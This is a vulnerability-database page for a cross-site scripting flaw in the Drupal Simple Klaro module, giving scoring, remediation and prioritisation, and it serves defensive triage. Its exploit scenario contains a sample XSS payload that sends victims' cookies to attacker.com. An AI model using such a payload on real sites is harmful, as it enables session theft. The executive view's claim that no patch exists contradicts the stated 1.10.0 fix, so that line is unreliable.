Skip to main content

Simple Klaro CVE-2025-48918

| EUVDEUVD-2025-18291 HIGH
Cross-site Scripting (XSS) (CWE-79)
2025-06-13 mlhess@drupal.org
8.8
CVSS 3.1 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L) indicates: Network-accessible attack with low complexity, no privileges required, but user interaction needed (UI:R), with changed scope affecting other systems. The high confidentiality impact (C:H) combined with integrity/availability impacts supports the 8.8 score. However, real-world risk requires context: (1) Exploitation requires convincing users to click a malicious link, reducing automated exploitation probability; (2) Without KEV status confirmation or public POC, this may represent discovered-but-not-yet-exploited vulnerability; (3) EPSS score unavailable from provided data, but XSS vulnerabilities in consent/cookie modules typically score 60-75 percentile due to moderate attack friction; (4) Drupal sites running outdated Simple Klaro versions represent the at-risk population. This is a legitimate medium-to-high priority based on CVSS severity and XSS impact on confidentiality, but NOT a critical emergency without evidence of active exploitation or 0-day status. Organizations should prioritize patching within 30 days.

Exploit ScenarioDerived

A malicious actor discovers that the Simple Klaro module's consent banner or configuration UI does not properly escape user input. The attacker crafts a malicious URL containing JavaScript payload in a parameter (e.g., ?consent_msg=<img src=x onerror='fetch("//attacker.com/steal?cookie="+document.cookie)'>). They distribute this link via phishing email or social media targeting users of a vulnerable Drupal site. When a victim clicks the link, the JavaScript executes in their browser context, stealing session cookies, auth tokens, or personally identifiable information displayed on the page. If the site stores user preferences server-side without sanitization, a Stored XSS variant could infect all visitors who load the Klaro consent banner. This is particularly dangerous on sites handling sensitive data (healthcare, finance, government portals) where consent transparency is legally required.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 14, 2026

Stored/Reflected Cross-Site Scripting (XSS) vulnerability in Drupal Simple Klaro module versions before 1.10.0 that fails to properly neutralize user input during web page generation. An unauthenticated remote attacker can inject malicious scripts that execute in victims' browsers with high impact on confidentiality and integrity, though the attack requires user interaction (clicking a malicious link). The vulnerability has a high CVSS score of 8.8 due to its network-based attack vector and broad scope, but real-world exploitation likelihood depends on KEV/EPSS data not provided in available intelligence.

RemediationAI

  • action: Immediate Patching; details: Upgrade Drupal Simple Klaro module to version 1.10.0 or later. Check Drupal.org module page for security advisory and update links.
  • action: Verification; details: After patching, clear Drupal caches (drush cache:rebuild or via admin UI) and verify module version via /admin/modules or drush status.
  • action: Workaround (Temporary); details: If immediate patching is not feasible, disable the Simple Klaro module until patch is applied. Implement alternative cookie consent via other secure modules or hardcoded HTML until remediated.
  • action: Code Review; details: Audit any custom Drupal code that integrates with Simple Klaro to ensure downstream sanitization is applied if user data is processed.
  • action: Security Headers; details: Implement Content-Security-Policy (CSP) headers to mitigate XSS impact: Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'.
  • action: References; details: Consult Drupal Security Advisory: https://www.drupal.org/project/simple_klaro (check security advisories tab) and https://security.drupal.org for official guidance.

Affected VersionsENISA

Simple Klaro 0.0.0 <1.10.0

Affected Packages

composer drupal/simple_klaro fix: 1.10.0
euvd simple_klaro fix: 1.10.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The Drupal Simple Klaro module (CPE identifier likely: cpe:2.3:a:drupal:simple_klaro:*:*:*:*:*:*:*:*) is a consent management extension for Drupal that integrates the Klaro.js cookie consent library. The vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation), indicating the module fails to sanitize or escape user-controlled input before rendering it in HTML context. This allows attackers to inject arbitrary JavaScript code that executes within the security context of the Drupal site. The root cause likely involves inadequate use of Drupal's sanitization APIs (such as XSS::filter() or proper output escaping) when processing Klaro configuration parameters, consent preferences, or related UI elements. Version 0.0.0 through 1.9.x are vulnerable; patching occurred at version 1.10.0.

Know when Simple Klaro gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 8.8 HIGH
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
Low

Lifecycle Timeline

2
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
CVE Published
Jun 13, 2025 - 16:15 nvd
HIGH 8.8

DescriptionCVE.org

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Drupal Simple Klaro allows Cross-Site Scripting (XSS).This issue affects Simple Klaro: from 0.0.0 before 1.10.0.

Executive ViewAI

Why It Matters

A Cross-Site Scripting (XSS) vulnerability in Drupal Simple Klaro (versions before 1.10.0) allows attackers to inject malicious scripts that execute in users' browsers, potentially compromising user sessions, stealing credentials, or defacing website content. Organizations using this module should prioritize remediation as no vendor patch is currently available.

Business Impact: High
Compensating Controls

Implement Web Application Firewall (WAF) rules to detect and block XSS payloads targeting Simple Klaro endpoints; restrict module access via IP whitelisting or network segmentation; disable the Simple Klaro module if not essential to operations; enable Content Security Policy (CSP) headers to limit script execution scope; monitor access logs for exploitation attempts; consider temporary removal until patch availability is confirmed.

Threat Intelligence Overview

EPSS Score
0.1%
Top 81% exploitable
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy